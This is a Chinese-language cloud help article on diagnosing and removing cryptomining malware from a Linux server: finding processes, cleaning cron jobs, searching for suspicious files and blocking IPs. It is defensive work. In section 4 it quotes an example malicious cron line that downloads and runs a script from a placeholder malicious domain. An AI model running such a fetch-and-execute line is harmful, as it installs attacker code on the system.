主题
Linux实例负载高问题排查和异常处理
重要
该方法仅能对部分实现较为简单木马进行删除。 现网大多数商业化恶意软件,会对系统内多个关键文件进行替换,并在存在用户会话时隐藏进程。 如您按照本文排查后情况无改善,请尝试备份数据后重装系统。
1. 问题现象
当 Linux 服务器被挖矿病毒感染时,通常会出现 CPU 占用率异常飙升(甚至 100%)、服务器卡顿、网络流量异常等现象。
- 响应慢:SSH 命令执行卡顿,网站或 API 访问缓慢、超时。
- 指标高:CPU、内存、磁盘 I/O 监控持续超过 80%。
- 服务中断:关键进程被系统终止(OOM),实例自动重启。
- 无法登录:SSH 连接被拒绝。
2. 查看高 CPU 占用进程
使用 top 命令实时查看进程 CPU 占用率:按下 1 可查看 cpu 核心数。如图: 
重点查看平均负载,该负载表示过去 1、5、15 分钟的 cpu 平均负载。若系统并无程序在跑业务,但是该数字无限接近与于 cpu 核心数(例如核心数为 2,load average 的值接近 2)则系统可能中了挖矿病毒,需要按照如下方式进行排查
执行 top 命令进入 top 界面后,按 P 键(大写),进程会按 CPU 占用率从高到低排序。 按 M 键(大写),进程会按内存占用率从高到低排序
找到可疑进程后,记录其 PID(进程 ID,左侧第一列数字) ,然后用 kill 命令强制终止:
bash
# 替换<PID>为实际进程ID,-9表示强制杀死
sudo kill -9 <PID>
示例:如果 PID 是 1234,执行 `sudo kill -9 1234`杀死后回到 top 界面(按 q 退出后重新执行 top),确认该进程是否消失。如果很快重新出现,说明有自动启动机制(下一步处理)。
3. 安装 ClamAV 杀毒软件
执行此步骤前需先确认包管理器还可以正常工作。
可优先采取开源杀毒方案部署后进行查杀,大部分发行版默认提供该软件。
如您的包管理器遭到破坏,可以尝试通过救援系统安装该软件后,挂载原系统磁盘进行查杀。
4. 清除恶意计划任务
查看当前用户的计划任务
bash
crontab -l输出中如果有陌生的定时任务(比如每分钟执行某个脚本、下载某个文件),就是可疑项
(例如:*/1 * * * * wget http://恶意域名/script.sh && sh script.sh)。
5. 查看系统级计划任务
病毒可能会在系统级目录添加计划任务,需检查以下文件:
查看系统级定时任务列表
bash
sudo cat /etc/crontab查看定时任务脚本目录(这些目录里的脚本会被定时执行)
bash
sudo ls -l /etc/cron.d/
sudo ls -l /etc/cron.hourly/ # 每小时执行的脚本
sudo ls -l /etc/cron.daily/ # 每天执行的脚本5.1. 删除恶意计划任务
- 当前用户的任务:执行
crontab -e进入编辑模式,删除可疑行。 - 系统级任务 :直接删除可疑文件或编辑文件删除内容(需 root 权限):
示例:删除/etc/cron.d/下的恶意文件
bash
sudo rm -f /etc/cron.d/恶意文件名或编辑系统级 crontab 文件删除可疑行
bash
sudo nano /etc/crontab如果进程已消失,可搜索常见存放病毒的目录(病毒喜欢藏在临时目录或系统目录):
bash
# 搜索/tmp、/var/tmp等临时目录(这些目录通常权限较松)
sudo find /tmp /var/tmp -type f -mtime -1 # 查找1天内新增的文件
# 搜索名称可疑的文件(如包含mine、xmr、crypto等关键词)
sudo find / -name "*mine*" -o -name "*xmr*" 2>/dev/null # 2>/dev/null忽略权限错误5.2. 删除病毒文件
找到病毒文件后,直接删除(注意:不要误删系统文件,确认是恶意文件再操作):
bash
sudo rm -f /path/to/病毒文件 # 替换为实际路径,-f强制删除6. 用防火墙封禁 IP
根据服务器使用的防火墙工具(iptables 或 firewalld)封禁 IP:
6.1. 方式 1:使用 iptables
# 封禁IP(替换1.2.3.4为实际恶意IP)
sudo iptables -A INPUT -s 1.2.3.4 -j DROP # 禁止该IP访问服务器
sudo iptables -A OUTPUT -d 1.2.3.4 -j DROP # 禁止服务器访问该IP
# 保存规则(不同系统保存方式不同)
# Ubuntu/Debian:
sudo iptables-save > /etc/iptables/rules.v4
# CentOS/RHEL:
sudo service iptables save6.2. 方式 2:使用 firewalld(CentOS/RHEL 7 + 等)
# 封禁IP(替换1.2.3.4为实际恶意IP)
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="1.2.3.4" reject'
# 重新加载规则使其生效
sudo firewall-cmd --reload7. 验证清理效果
执行 top 命令观察 CPU 占用率,确认是否有高占用的可疑进程。
再次检查计划任务(crontab -l、/etc/crontab 等),确认没有恶意任务。
查看网络连接,确认没有连接到恶意 IP:
bash
ss -tuln # 查看所有网络连接,检查是否有连接到被封禁的IP8. 后处理
详细排查本地部署业务、服务、账号信息,并检索相关程序是否存在已知且公开的漏洞、弱口令。避免在短时间内二次感染病毒。
处理挖矿病毒的核心逻辑是:止损 → 终止进程 → 清除复活机制 → 删除病毒文件 → 封禁通信源头 → 验证清理。按照步骤操作,可有效排查清除部分挖矿病毒。
如果多次清理后仍复发,建议备份数据后重装系统。

